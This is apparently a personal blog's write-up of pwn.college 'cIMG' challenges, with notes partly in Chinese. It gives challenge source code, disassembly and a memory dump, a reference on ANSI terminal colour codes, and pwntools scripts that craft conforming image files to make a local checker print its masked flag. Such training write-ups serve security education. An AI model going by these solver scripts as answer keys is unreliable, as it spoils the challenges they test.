Hello Navi

Tech, Security & Personal Notes

Internal State Mini (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
char desired_output[] = "\x1b[38;2;200;040;131mc\x1b[0m\x1b[38;2;001;019;165mI\x1b[0m\x1b[38;2;160;134;059mM\x1b[0m\x1b[38;2;195;046;079mG\x1b[0m\x00";

// 4 + 2 + 1 + 1 = 8 bytes header
struct cimg_header
{
char magic_number[4];
uint16_t version;
uint8_t width;
uint8_t height;
} __attribute__((packed));

// 1 byte ascii
typedef struct
{
uint8_t ascii;
} pixel_bw_t;
#define COLOR_PIXEL_FMT "\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m"

// 3 rgb + 1 ascii
typedef struct
{
uint8_t r;
uint8_t g;
uint8_t b;
uint8_t ascii;
} pixel_color_t;
typedef pixel_color_t pixel_t;

// text ansi escape sequence (24 bytes)
typedef struct
{
union
{
char data[24];
struct term_str_st
{
char color_set[7]; // \x1b[38;2;
char r[3]; // 255
char s1; // ;
char g[3]; // 255
char s2; // ;
char b[3]; // 255
char m; // m
char c; // X
char color_reset[4]; // \x1b[0m
} str;
};
} term_pixel_t;
struct cimg
{
struct cimg_header header;
unsigned num_pixels;
term_pixel_t *framebuffer;
};

#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
#define CIMG_FRAMEBUFFER_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_FRAMEBUFFER_SIZE(cimg) (CIMG_FRAMEBUFFER_PIXELS(cimg) * sizeof(term_pixel_t))

// ...

int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

// magic_number
if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

// version
if (cimg.header.version != 2)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

unsigned long data_size = cimg.header.width * cimg.header.height * sizeof(pixel_t);
pixel_t *data = malloc(data_size);
if (data == NULL)
{
puts("ERROR: Failed to allocate memory for the image data!");
exit(-1);
}
read_exact(0, data, data_size, "ERROR: Failed to read data!", -1);

for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
// ascii
if (data[i].ascii < 0x20 || data[i].ascii > 0x7e)
{
fprintf(stderr, "ERROR: Invalid character 0x%x in the image data!\n", data[i].ascii);
exit(-1);
}
}

display(&cimg, data);

// char desired_output[] = "\x1b[38;2;200;040;131mc\x1b[0m\x1b[38;2;001;019;165mI\x1b[0m\x1b[38;2;160;134;059mM\x1b[0m\x1b[38;2;195;046;079mG\x1b[0m\x00";
if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from pwn import process

header = b"cIMG"
version = 2
width = 4
height = 1
total_pixels = width * height

file_header = struct.pack("<4sHBB", header,version, width, height)

p1 = struct.pack("<BBBB", 200, 40, 131, ord('c'))
p2 = struct.pack("<BBBB", 1, 19, 165, ord('I'))
p3 = struct.pack("<BBBB", 160, 134, 59, ord('M'))
p4 = struct.pack("<BBBB", 195, 46, 79, ord('G'))

pixel_data = p1 + p2 + p3 + p4

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

pwn.college{**********************************************}

Internal State Mini (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
       ╎╎   0x00401387      4863db         movsxd rbx, ebx
╎╎ 0x0040138a 48c1e302 shl rbx, 2
╎╎ 0x0040138e 4889df mov rdi, rbx
╎╎ 0x00401391 e86afeffff call sym.imp.malloc ;[1]
╎╎ 0x00401396 488d3d1e0e.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x4021bb ; "ERROR: Failed to all
╎╎ 0x0040139d 4889c5 mov rbp, rax
╎╎ 0x004013a0 4885c0 test rax, rax
╎└─< 0x004013a3 74b1 je 0x401356
╎ 0x004013a5 89da mov edx, ebx
╎ 0x004013a7 4889c6 mov rsi, rax
╎ 0x004013aa 4183c8ff or r8d, 0xffffffff ; -1
╎ 0x004013ae 31ff xor edi, edi
╎ 0x004013b0 488d0d390e.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x4021f0 ; "ERROR: Failed to read data!"
╎ 0x004013b7 e8bf020000 call sym.read_exact ;[2]
╎ 0x004013bc 0fb6442407 movzx eax, byte [rsp + 7]
╎ 0x004013c1 0fb6542406 movzx edx, byte [rsp + 6]
╎ 0x004013c6 0fafd0 imul edx, eax
╎ 0x004013c9 31c0 xor eax, eax
╎┌─> 0x004013cb 39c2 cmp edx, eax
┌───< 0x004013cd 7e30 jle 0x4013ff
│╎╎ 0x004013cf 0fb64c8503 movzx ecx, byte [rbp + rax*4 + 3]
│╎╎ 0x004013d4 48ffc0 inc rax
│╎╎ 0x004013d7 8d71e0 lea esi, [rcx - 0x20]
│╎╎ 0x004013da 4080fe5e cmp sil, 0x5e ; '^' ; 94
│╎└─< 0x004013de 76eb jbe 0x4013cb
│╎ 0x004013e0 488b3dd92c.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│╎ ; [0x4040c0:8]=0
│╎ 0x004013e7 488d151e0e.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_
│╎ ; 0x40220c ; "ERROR: Invalid character 0x%x in the image data!\n"
│╎ 0x004013ee be01000000 mov esi, 1
│╎ 0x004013f3 31c0 xor eax, eax
│╎ 0x004013f5 e856feffff call sym.imp.__fprintf_chk ;[3]
│└──< 0x004013fa e95cffffff jmp 0x40135b
└───> 0x004013ff 4889ee mov rsi, rbp
0x00401402 4c89e7 mov rdi, r12
0x00401405 4c8d25142c.. lea r12, obj.desired_output ; 0x404020 ; color ; go to check desired_output
0x0040140c 31db xor ebx, ebx
0x0040140e e8b8020000 call sym.display ;[4]
0x00401413 448b6c2408 mov r13d, dword [rsp + 8]
0x00401418 4c8b742410 mov r14, qword [rsp + 0x10]
0x0040141d 4183fd04 cmp r13d, 4 ; 4 ; pixel size
0x00401421 0f94c3 sete bl
0x00401424 31ed xor ebp, ebp
0x00401426 4531ff xor r15d, r15d
┌─> 0x00401429 83fd04 cmp ebp, 4 ; 4
┌──< 0x0040142c 743e je 0x40146c
│╎ 0x0040142e 4139ed cmp r13d, ebp
┌───< 0x00401431 7639 jbe 0x40146c
││╎ 0x00401433 486bfd18 imul rdi, rbp, 0x18
││╎ 0x00401437 418a443e13 mov al, byte [r14 + rdi + 0x13]
││╎ 0x0040143c 413a442413 cmp al, byte [r12 + 0x13]
││╎ 0x00401441 410f45df cmovne ebx, r15d
││╎ 0x00401445 3c20 cmp al, 0x20 ; 32
┌────< 0x00401447 741a je 0x401463
│││╎ 0x00401449 3c0a cmp al, 0xa ; 10
┌─────< 0x0040144b 7416 je 0x401463
││││╎ 0x0040144d 4c01f7 add rdi, r14
││││╎ 0x00401450 ba18000000 mov edx, 0x18 ; 24
││││╎ 0x00401455 4c89e6 mov rsi, r12
││││╎ 0x00401458 e883fdffff call sym.imp.memcmp ;[5]
││││╎ 0x0040145d 85c0 test eax, eax
││││╎ 0x0040145f 410f45df cmovne ebx, r15d
└└────> 0x00401463 48ffc5 inc rbp
││╎ 0x00401466 4983c418 add r12, 0x18 ; 24
││└─< 0x0040146a ebbd jmp 0x401429
└└──> 0x0040146c 85db test ebx, ebx
┌─< 0x0040146e 7407 je 0x401477
│ 0x00401470 31c0 xor eax, eax
│ 0x00401472 e80f010000 call sym.win ;[6]
└─> 0x00401477 488b442418 mov rax, qword [rsp + 0x18]
0x0040147c 6448330425.. xor rax, qword fs:[0x28]
┌─< 0x00401485 7405 je 0x40148c
│ 0x00401487 e804fdffff call sym.imp.__stack_chk_fail ;[7]
└─> 0x0040148c 4883c428 add rsp, 0x28

> px 96 @ 0x404020
- offset - 2021 2223 2425 2627 2829 2A2B 2C2D 2E2F 0123456789ABCDEF
0x00404020 1b5b 3338 3b32 3b31 3534 3b31 3732 3b30 .[38;2;154;172;0
0x00404030 3130 6d63 1b5b 306d 1b5b 3338 3b32 3b30 10mc.[0m.[38;2;0
0x00404040 3533 3b30 3935 3b32 3235 6d49 1b5b 306d 53;095;225mI.[0m
0x00404050 1b5b 3338 3b32 3b31 3332 3b30 3934 3b30 .[38;2;132;094;0
0x00404060 3637 6d4d 1b5b 306d 1b5b 3338 3b32 3b32 67mM.[0m.[38;2;2
0x00404070 3035 3b30 3336 3b30 3836 6d47 1b5b 306d 05;036;086mG.[0m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from pwn import process

header = b"cIMG"
version = 2
width = 4
height = 1
total_pixels = width * height

file_header = struct.pack("<4sHBB", header,version, width, height)

p1 = struct.pack("<BBBB", 154, 172, 10, ord('c'))
p2 = struct.pack("<BBBB", 53, 95, 225, ord('I'))
p3 = struct.pack("<BBBB", 132, 94, 67, ord('M'))
p4 = struct.pack("<BBBB", 205, 36, 86, ord('G'))

pixel_data = p1 + p2 + p3 + p4

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

pwn.college{***********************************************}

A Basic cIMG (Python)

ANSI escape sequences are a standard for in-band signaling to control cursor location, color, font styling, and other options on video text terminals and terminal emulators. Certain sequences of bytes, most starting with an ASCII escape character and a bracket character, are embedded into text. The terminal interprets these sequences as commands, rather than text to display verbatim.

Wikipedia

控制光标位置、颜色、字体样式的带内信号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def main():
if len(sys.argv) >= 2:
path = sys.argv[1]
assert path.endswith(".cimg"), "ERROR: file has incorrect extension"
file = open(path, "rb")
else:
file = sys.stdin.buffer

header = file.read1(10)
assert len(header) == 10, "ERROR: Failed to read header!"

assert header[:4] == b"cIMG", "ERROR: Invalid magic number!"

assert int.from_bytes(header[4:6], "little") == 2, "ERROR: Invalid version!"

width = int.from_bytes(header[6:8], "little")
assert width == 51, "ERROR: Incorrect width!"

height = int.from_bytes(header[8:10], "little")
assert height == 20, "ERROR: Incorrect height!"

data = file.read1(width * height * 4)
assert len(data) == width * height * 4, "ERROR: Failed to read data!"

pixels = [Pixel(*data[i : i + 4]) for i in range(0, len(data), 4)]

invalid_character = next((pixel.ascii for pixel in pixels if not (0x20 <= pixel.ascii <= 0x7E)), None)
assert invalid_character is None, f"ERROR: Invalid character {invalid_character:#04x} in data!"

ansii_escape = lambda pixel: f"\x1b[38;2;{pixel.r:03};{pixel.g:03};{pixel.b:03}m{chr(pixel.ascii)}\x1b[0m"
framebuffer = "".join(
"".join(ansii_escape(pixel) for pixel in pixels[row_start : row_start + width])
+ ansii_escape(Pixel(0, 0, 0, ord("\n")))
for row_start in range(0, len(pixels), width)
)
print(framebuffer)

nonspace_count = sum(1 for pixel in pixels if chr(pixel.ascii) != " ")
if nonspace_count != 1020:
return

asu_maroon = (0x8C, 0x1D, 0x40) # #8C1D40
if any((pixel.r, pixel.g, pixel.b) != asu_maroon for pixel in pixels):
return

with open("/flag", "r") as f:
flag = f.read()
print(flag)


if __name__ == "__main__":
try:
main()
except AssertionError as e:
print(e, file=sys.stderr)
sys.exit(-1)

脚本优先从命令行参数 (sys.argv) 读取 .cimg 文件;如果不传参,就从标准输入 sys.stdin.buffer 读管道流。

  • 它读取了 51 * 20 * 4 = 4080 字节的 payload 数据。
  • 每 4 个字节被打包成一个 Pixel 结构( R, G, B 值和 ASCII 码)。
  • 确保 ASCII 值都在可打印字符范围内 (0x200x7E)。
  • 利用 ansii_escape,把这些像素转换成终端带色字符,拼接成 framebuffer 字符串并 print

获取 Flag 的条件

  • 条件一: nonspace_count != 1020 则退出。由于画面一共 51 * 20 = 1020 个像素,这意味着你的图片里不能包含任何一个空格 (0x20),必须全部被非空格的可打印字符填满。
  • 条件二: 所有像素的颜色必须完全是 ASU Maroon (亚利桑那州立大学紫红色),即 #8C1D40(红:0x8C, 绿:0x1D, 蓝:0x40)。

ansii_escape (ansi? mispelled?) 用来生成 24-bit 真彩色 (Truecolor) 的终端输出字符串。

  • \x1b[:ESC 控制符(Escape character,ASCII 码是 27 或 0x1B),标志着转义序列的开始。
  • 38;2;:设置前景(文字)颜色,并且使用 24-bit 的 RGB 模式。
  • {pixel.r:03};{pixel.g:03};{pixel.b:03}m:把解析出的像素 R、G、B 值填进去(不足三位补零),m 代表颜色/格式设置结束。
  • {chr(pixel.ascii)}:打印到屏幕上的字符。
  • \x1b[0m:重置符。打印完这个字符后,立刻清除颜色设置,防止颜色溢出污染 CLI 界面。

try try?

1
printf "\x1b[31m\n"

not work in fish shell btw

Color codes

Most terminals support 8 and 16 colors, as well as 256 (8-bit) colors. These colors are set by the user, but have commonly defined meanings.

8-16 Colors

Color Name Foreground Color Code Background Color Code
Black 30 40
Red 31 41
Green 32 42
Yellow 33 43
Blue 34 44
Magenta 35 45
Cyan 36 46
White 37 47
Default 39 49

Most terminals, apart from the basic set of 8 colors, also support the “bright” or “bold” colors. These have their own set of codes, mirroring the normal colors, but with an additional ;1 in their codes:

1
2
3
4
# Set style to bold, red foreground.
\x1b[1;31mHello
# Set style to dimmed white foreground with red background.
\x1b[2;37;41mWorld

Terminals that support the aixterm specification provides bright versions of the ISO colors, without the need to use the bold modifier:

Color Name Foreground Color Code Background Color Code
Bright Black 90 100
Bright Red 91 101
Bright Green 92 102
Bright Yellow 93 103
Bright Blue 94 104
Bright Magenta 95 105
Bright Cyan 96 106
Bright White 97 107

256 Colors

The following escape codes tells the terminal to use the given color ID:

ESC Code Sequence Description
ESC[38;5;{ID}m Set foreground color.
ESC[48;5;{ID}m Set background color.

Where {ID} should be replaced with the color index from 0 to 255 of the following color table:

256 Color table
  • 0-7: standard colors (as in ESC [ 30–37 m)
  • 8–15: high intensity colors (as in ESC [ 90–97 m)
  • 16-231: 6 × 6 × 6 cube (216 colors): 16 + 36 × r + 6 × g + b (0 ≤ r, g, b ≤ 5) > Some emulators interpret these steps as linear increments (256 / 24) on all three channels while others may explicitly define these values.
  • 232-255: grayscale from dark to light in 24 steps.

RGB Colors

More modern terminals supports Truecolor (24-bit RGB), which allows you to set foreground and background colors using RGB.

These escape sequences are usually not well documented.

ESC Code Sequence Description
ESC[38;2;{r};{g};{b}m Set foreground color as RGB.
ESC[48;2;{r};{g};{b}m Set background color as RGB.

Note that ;38 and ;48 corresponds to the 16 color sequence and is interpreted by the terminal to set the foreground and background color respectively. Where as ;2 and ;5 sets the color format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

header = b"cIMG"
version = 2
width = 51
height = 20
total_pixels = width * height

file_header = struct.pack("<4sHHH", header,version, width, height)

ascii_char = ord('A')

r, g, b = 0x8C, 0x1D, 0x40
single_pixel = struct.pack("<BBBB", r, g, b, ascii_char)

pixel_data = single_pixel * total_pixels

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

pwn.college{**********************************************}

A Basic cIMG (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
// ...
struct cimg_header
{
char magic_number[4];
uint64_t version;
uint16_t width;
uint16_t height;
} __attribute__((packed));

typedef struct
{
uint8_t ascii;
} pixel_bw_t;
#define COLOR_PIXEL_FMT "\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m"
typedef struct
{
uint8_t r;
uint8_t g;
uint8_t b;
uint8_t ascii;
} pixel_color_t;
typedef pixel_color_t pixel_t;

struct cimg
{
struct cimg_header header;
};

#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))

void display(struct cimg *cimg, pixel_t *data)
{
int idx = 0;
for (int y = 0; y < cimg->header.height; y++)
{
for (int x = 0; x < cimg->header.width; x++)
{
idx = (0+y)*((cimg)->header.width) + ((0+x)%((cimg)->header.width));
printf("\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m", data[y * cimg->header.width + x].r, data[y * cimg->header.width + x].g, data[y * cimg->header.width + x].b, data[y * cimg->header.width + x].ascii);

}
puts("");
}

}
// ...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 2)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

if (cimg.header.width != 46)
{
puts("ERROR: Incorrect width!");
exit(-1);
}

if (cimg.header.height != 23)
{
puts("ERROR: Incorrect height!");
exit(-1);
}

unsigned long data_size = cimg.header.width * cimg.header.height * sizeof(pixel_t);
pixel_t *data = malloc(data_size);
if (data == NULL)
{
puts("ERROR: Failed to allocate memory for the image data!");
exit(-1);
}
read_exact(0, data, data_size, "ERROR: Failed to read data!", -1);

for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
if (data[i].ascii < 0x20 || data[i].ascii > 0x7e)
{
fprintf(stderr, "ERROR: Invalid character 0x%x in the image data!\n", data[i].ascii);
exit(-1);
}
}

display(&cimg, data);

for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
if (data[i].r != 0x8c || data[i].g != 0x1d || data[i].b != 0x40) won = 0;
}

int num_nonspace = 0;
for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
if (data[i].ascii != ' ') num_nonspace++;
}
if (num_nonspace != 1058) won = 0;

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from pwn import process

header = b"cIMG"
version = 2
width = 46
height = 23
total_pixels = width * height

file_header = struct.pack("<4sQHH", header,version, width, height)

ascii_char = ord('A')

r, g, b = 0x8C, 0x1D, 0x40
single_pixel = struct.pack("<BBBB", r, g, b, ascii_char)

pixel_data = single_pixel * total_pixels

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

pwn.crllege{**********************************************}

A Basic cIMG (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
      │   0x004012f5      4889ee         mov rsi, rbp
│ 0x004012f8 ba0b000000 mov edx, 0xb ; 11
│ 0x004012fd e839030000 call sym.read_exact ;[3]
│ 0x00401302 807c240d63 cmp byte [rsp + 0xd], 0x63 ; 'c'
┌──< 0x00401307 7515 jne 0x40131e
││ 0x00401309 807c240e49 cmp byte [rsp + 0xe], 0x49 ; 'I'
┌───< 0x0040130e 750e jne 0x40131e
│││ 0x00401310 807c240f4d cmp byte [rsp + 0xf], 0x4d ; 'M'
┌────< 0x00401315 7507 jne 0x40131e
││││ 0x00401317 807c241047 cmp byte [rsp + 0x10], 0x47 ; 'G'
┌─────< 0x0040131c 7414 je 0x401332
│└└└──> 0x0040131e 488d3d0e0e.. lea rdi, str.ERROR:_Invalid_magic_number_ ; 0x402133 ; "ERROR: Invalid magic number!"
┌─┌┌┌──> 0x00401325 e816feffff call sym.imp.puts ;[4]
┌─────└─> 0x0040132a 83cfff or edi, 0xffffffff ; -1
╎╎│╎╎╎ 0x0040132d e8cefeffff call sym.imp.exit ;[5]
╎╎└─────> 0x00401332 66837c241102 cmp word [rsp + 0x11], 2
╎╎ ╎╎╎ 0x00401338 488d3d110e.. lea rdi, str.ERROR:_Unsupported_version_ ; 0x402150 ; "ERROR: Unsupported version!"
╎└──────< 0x0040133f 75e4 jne 0x401325
╎ ╎╎╎ 0x00401341 837c24131a cmp dword [rsp + 0x13], 0x1a
╎ ╎╎╎ 0x00401346 488d3d1f0e.. lea rdi, str.ERROR:_Incorrect_width_ ; 0x40216c ; "ERROR: Incorrect width!"
╎ └────< 0x0040134d 75d6 jne 0x401325
╎ ╎╎ 0x0040134f 807c241717 cmp byte [rsp + 0x17], 0x17
╎ ╎╎ 0x00401354 488d3d290e.. lea rdi, str.ERROR:_Incorrect_height_ ; 0x402184 ; "ERROR: Incorrect height!"
╎ └───< 0x0040135b 75c8 jne 0x401325
╎ ╎ 0x0040135d bf58090000 mov edi, 0x958 ; 2392
╎ ╎ 0x00401362 e859feffff call sym.imp.malloc ;[6]
╎ ╎ 0x00401367 488d3d2f0e.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x40219d ; "ERROR: Failed to all
╎ ╎ 0x0040136e 4889c3 mov rbx, rax
╎ ╎ 0x00401371 4885c0 test rax, rax
╎ └──< 0x00401374 74af je 0x401325
╎ 0x00401376 ba58090000 mov edx, 0x958 ; 2392
╎ 0x0040137b 4889c6 mov rsi, rax
╎ 0x0040137e 4183c8ff or r8d, 0xffffffff ; -1
╎ 0x00401382 31ff xor edi, edi
╎ 0x00401384 488d0d470e.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x4021d2 ; "ERROR: Failed to read data!"
╎ 0x0040138b e8ab020000 call sym.read_exact ;[3]
╎ 0x00401390 0fb6542417 movzx edx, byte [rsp + 0x17]
╎ 0x00401395 0faf542413 imul edx, dword [rsp + 0x13]
╎ 0x0040139a 31c0 xor eax, eax
╎ ┌─> 0x0040139c 39c2 cmp edx, eax
╎ ┌──< 0x0040139e 7630 jbe 0x4013d0
╎ │╎ 0x004013a0 0fb64c8303 movzx ecx, byte [rbx + rax*4 + 3]
╎ │╎ 0x004013a5 48ffc0 inc rax
╎ │╎ 0x004013a8 8d71e0 lea esi, [rcx - 0x20]
╎ │╎ 0x004013ab 4080fe5e cmp sil, 0x5e ; '^' ; 94
╎ │└─< 0x004013af 76eb jbe 0x40139c
╎ │ 0x004013b1 488b3d882c.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
╎ │ ; [0x404040:8]=0
╎ │ 0x004013b8 488d152f0e.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_
╎ │ ; 0x4021ee ; "ERROR: Invalid character 0x%x in the image data!\n"
╎ │ 0x004013bf be01000000 mov esi, 1
╎ │ 0x004013c4 31c0 xor eax, eax
╎ │ 0x004013c6 e845feffff call sym.imp.__fprintf_chk ;[7]
└───────< 0x004013cb e95affffff jmp 0x40132a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

header = b"cIMG"
version = 2
width = 26
height = 23
total_pixels = width * height

file_header = struct.pack("<4sHIB", header,version, width, height)

ascii_char = ord('A')

r, g, b = 0x8C, 0x1D, 0x40
single_pixel = struct.pack("<BBBB", r, g, b, ascii_char)

pixel_data = single_pixel * total_pixels

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

pwn.college{**********************************************}

Behold the cIMG! (Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def main():
if len(sys.argv) >= 2:
path = sys.argv[1]
assert path.endswith(".cimg"), "ERROR: file has incorrect extension"
file = open(path, "rb")
else:
file = sys.stdin.buffer

header = file.read1(28)
assert len(header) == 28, "ERROR: Failed to read header!"

assert header[:4] == b"cIMG", "ERROR: Invalid magic number!"

assert int.from_bytes(header[4:12], "little") == 1, "ERROR: Invalid version!"

width = int.from_bytes(header[12:20], "little")

height = int.from_bytes(header[20:28], "little")

data = file.read1(width * height)
assert len(data) == width * height, "ERROR: Failed to read data!"

pixels = [Pixel(character) for character in data]

invalid_character = next((pixel.ascii for pixel in pixels if not (0x20 <= pixel.ascii <= 0x7E)), None)
assert invalid_character is None, f"ERROR: Invalid character {invalid_character:#04x} in data!"

framebuffer = "".join(
bytes(pixel.ascii for pixel in pixels[row_start : row_start + width]).decode() + "\n"
for row_start in range(0, len(pixels), width)
)
print(framebuffer)

nonspace_count = sum(1 for pixel in pixels if chr(pixel.ascii) != " ")
if nonspace_count != 275: # frame size
return

with open("/flag", "r") as f:
flag = f.read()
print(flag)


if __name__ == "__main__":
try:
main()
except AssertionError as e:
print(e, file=sys.stderr)
sys.exit(-1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 25
height = 11
data_length = width * height

file_header = struct.pack("<4sQQQ", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

Behold the cIMG! (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// ...
#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
// ...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 1)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

unsigned long data_size = cimg.header.width * cimg.header.height * sizeof(pixel_t);
pixel_t *data = malloc(data_size);
if (data == NULL)
{
puts("ERROR: Failed to allocate memory for the image data!");
exit(-1);
}
read_exact(0, data, data_size, "ERROR: Failed to read data!", -1);

for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
if (data[i].ascii < 0x20 || data[i].ascii > 0x7e)
{
fprintf(stderr, "ERROR: Invalid character 0x%x in the image data!\n", data[i].ascii);
exit(-1);
}
}

display(&cimg, data);

int num_nonspace = 0;
for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
